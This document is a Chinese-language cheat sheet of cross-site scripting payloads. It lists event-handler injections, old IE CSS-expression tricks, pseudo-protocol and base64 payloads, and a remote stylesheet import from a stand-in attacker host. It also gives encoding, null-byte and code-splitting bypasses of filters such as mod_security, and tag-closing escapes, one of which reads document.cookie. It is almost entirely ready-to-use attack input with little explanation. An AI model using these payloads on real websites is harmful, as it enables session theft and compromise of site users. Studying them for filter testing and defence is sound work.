XSS-Payload

触发事件XSS语句的总结

1、onmouseenter:当鼠标进入选区执行代码

<div style="background-color:red" onmouseenter="alert(/XSS/)">123456</div>

2、onmouseleave:当鼠标离开选区执行代码

<DIV onmouseleave="alert(/XSS/)" style="BACKGROUND-COLOR: red">123456</DIV>

3、onmousewheel:当鼠标在选区滚轮时执行代码

<DIV onmousewheel="alert(/XSS/)" style="BACKGROUND-COLOR: red">123456</DIV>

FireFox浏览器使用DOMMouseScroll事件,其他(包括IE6)都是使用onmousewheel事件;
4、onscroll:拖动滚动条执行代码

<div style="width:100px;height:100px;overflow:scroll" onscroll="alert(/XSS/)">123456
  <br/>
  <br/>
  <br/>
  <br/>
  <br/>
</div>

5、onfocusin:当获得焦点时执行代码

<div contentEditable="true" style="background-color:red" onfocusin="alert(/XSS/)" >asdf</div>

6、onfocusout:当失去焦点时执行代码

<div contentEditable="true" style="background-color:red" onfocusout="alert(/XSS/)" >asdf</div>

7、onstart:当显示内容时执行代码

<marquee style="background-color:red" onstart="alert(/XSS/)" >asdf</marquee>

8、onbeforecopy:选中内容后复制执行代码

beforecopy:在发生复制操作前触发
beforecut:在发生剪切操作前触发
beforepaste:在发生粘贴操作前触发
<div style="background-color:red;" onbeforecopy="alert(/XSS/)" >asdf</div>

firefox不支持
9、oncontextmenu:鼠标在选区右键执行代码

<div style="background-color:red;" oncontextmenu="alert(/XSS/)" >asdf</div>

10、oncopy:复制时执行代码

<div style="background-color:red;" oncopy="alert(/XSS/)" >asdf</div>

11、oncut:剪切时执行代码

<div contentEditable="true" style="background-color:red;" oncut="alert(/XSS/)" >asdf</div>

12、ondrag、ondragenter、ondragover:选择内容并拖动时执行代码

<div style="background-color:red;" ondrag="alert(/XSS/)" >asdf</div>

13、ondragend:选择内容并拖动松开鼠标执行代码

<div style="background-color:red;" ondragend="alert(/XSS/)" >asdf</div>

14、ondragleave:选择内容并拖出边框执行代码

<div contentEditable="true" style="background-color:red;" ondragleave="alert(/XSS/)" >asdf</div>

15、ondrop:有内容被拖动进来时执行代码

<div contentEditable="true" style="" ondrop="alert(/bem/)" >asdf</div>
<div contentEditable="true" style="" ondrop="alert(/bem/)" >asdf</div>

16、onpaste:黏贴时执行代码

<div contentEditable="true" style="" onpaste="alert(/bem/)" >asdf</div>

17、onselectstart:选择内容时执行代码

<div contentEditable="true" style="" onselectstart="alert(/bem/)" >asdf</div>

18、onhelp:进入焦点按F1时执行代码


IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为动态特性。
CSS行内样式:

<DIV STYLE="width: expression(alert('XSS'));">
<img style="xss:expression(alert(0))"> // Works upto IE7.
<div style="color:rgb(''x:expression(alert(1))"></div>      // Works upto IE7.
<style>#test{x:expression(alert(/XSS/))}</style>      // Works upto IE7

仅IE支持,由于暴漏出来的种种缺点,微软最终从IE8 beta2(标准模式下)开始放弃对css表达式的支持。

CSS import

<style>
@import url("http://attacker.org/malicious.css");
</style>
malicious.css:
body {
    color: expression(alert('XSS'));
}
为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过:
<style>
@imp\ort url("http://attacker.org/malicious.css");
</style>
IE 浏览器会接受反斜杠,但是我们绕过了过滤器。

伪协议

<iframe src=javascript:prompt(/StoredXssByIframeTag/);></iframe>  
<object data=data:text/html;base64,PHNjcmlwdD5wcm9tcHQoL1N0b3JlZFhzc0J5T2JqZW
N0VGFnLyk7PC9zY3JpcHQ+></object>  
<object data="javascript:alert(document.domain)">

HTML5标签

<svg onload=prompt(/XSS/)>  
<embed src=javascript:alert(/XSS/);>  

js编码,html编码,十进制编码等

<embed src=javascript:alert(/XSS/);> 
<video><source onerror=alert(String.fromCharCode(88,83,83))>  (这个函数用于ascii码的还原)
<script/src=data:text/j\141v\141script,\u0061%6C%65%72%74(/XSS/)></script>

链接标签里可以通过在 URL 中使用 js伪协议来执行 JavaScript:

<a href="javascript:alert('test')">link</a>
<a href="javascript:alert('xss')">link</a>
上面这段代码不匹配正则表达式,但是浏览器依旧会执行它,因为浏览器会首先进行 URL 解码操作。

另外,我们还可以使用 VBScript,虽然它在 IE11 中被禁用了,但依旧可以运行在旧版本的 IE或者启用兼容模式的 IE11 上。我们可以使用类似上面 JavaScript 的方式来插入 VBScript 代码:

<a href='vbscript:MsgBox("XSS")'>link</a>

使用标签

<input onfocus=alert(33) autofocus>
<script>alert(navigator.userAgent)<script>
<script>alert(88199)</script>
<script>confirm(88199)</script>
<script>prompt(88199)</script>
<script>\u0061\u006C\u0065\u0072\u0074(88199)</script>
<script>alert(/XSS/)</script>
<script>alert(`XSS`)</script>
<script>alert("XSS")</script>
<script src=data:text/javascript,alert(88199)></script>
<script>setTimeout(alert(88199),0)</script>
<form><button formaction=javascript&colon;alert(21)>Mformaction 属性覆盖 form 元素的actionHTML 5 <form> action 属性") 属性。
<form onsubmit=alert(23)><button>M
<body/onload=alert(25)>

<body onscroll=alert(26)><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<input autofocus>//input获得焦点实现自动滚动

<iframe/onload=alert(document.domain)></iframe>
<IFRAME SRC="javascript:alert(29);"></IFRAME>

短payload

<q/oncut=alert(1)> 

圆括号被过滤

<img src=x onerror="javascript:window.onerror=alert;throw 1">

编码

JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码

(支持HTML, Octal, Decimal,Hexadecimal, and Unicode)
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64

运算弹窗

<script type="text/javascript">
     var test = ""-alert(1)-""
</script>
=右边是表达式,先要计算表达式的值,再赋值
第一步执行alert(1),弹出对话框
第二步执行空字符串减alert(1)的返回值,也就是0-undefined,结果是NaN
第三步执行NaN减空串,结果是NaN
第四步执行赋值,test的值就是NaN

空字节

最长用来绕过mod_security防火墙,形式如下:
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
空字节只适用于PHP 5.3.8以上的版本

语法BUG

RFC声明中节点名称不能是空格,以下的形式在javascript中不能运行

<%0ascript>alert(1);</script>
<%0bscript>alert(1);</script>

<%, <//, <!,<?可以被解析成<,所以可以使用以下的payload

<//     style=x:expression\28write(1)\29> // Works upto IE7 参考http://html5sec.org/#71
 // Works upto IE9 参考http://html5sec.org/#115
<%div%20style=xss:expression(prompt(1))>     // Works Upto IE7

代码拆分执行

<script>z='javascript:'</script>
<script>z=z+'alert(/xxss/)'</script>
<script>eval(z)</script>     //可绕过字符长度限制

chrome浏览器喜欢去补全缺失的引号。如果引号被过滤那么直接省略,chrome将会正确的帮你补全缺失的引号在URL和script中。

<a onmouseover=alert(document.cookie)>xxs link</a>

以后这里填坑

闭合script

<script>
    var x = "123</script><script>alert(1);//";
</script>

闭合优先级高于双引号的标签

<!--
<iframe>
<noframes>
<noscript>
<script>
<style>
<title>
<xmp>

<noframes>
<img src="//t.tt</noframes><script>alert(1)</script>">
</noframes>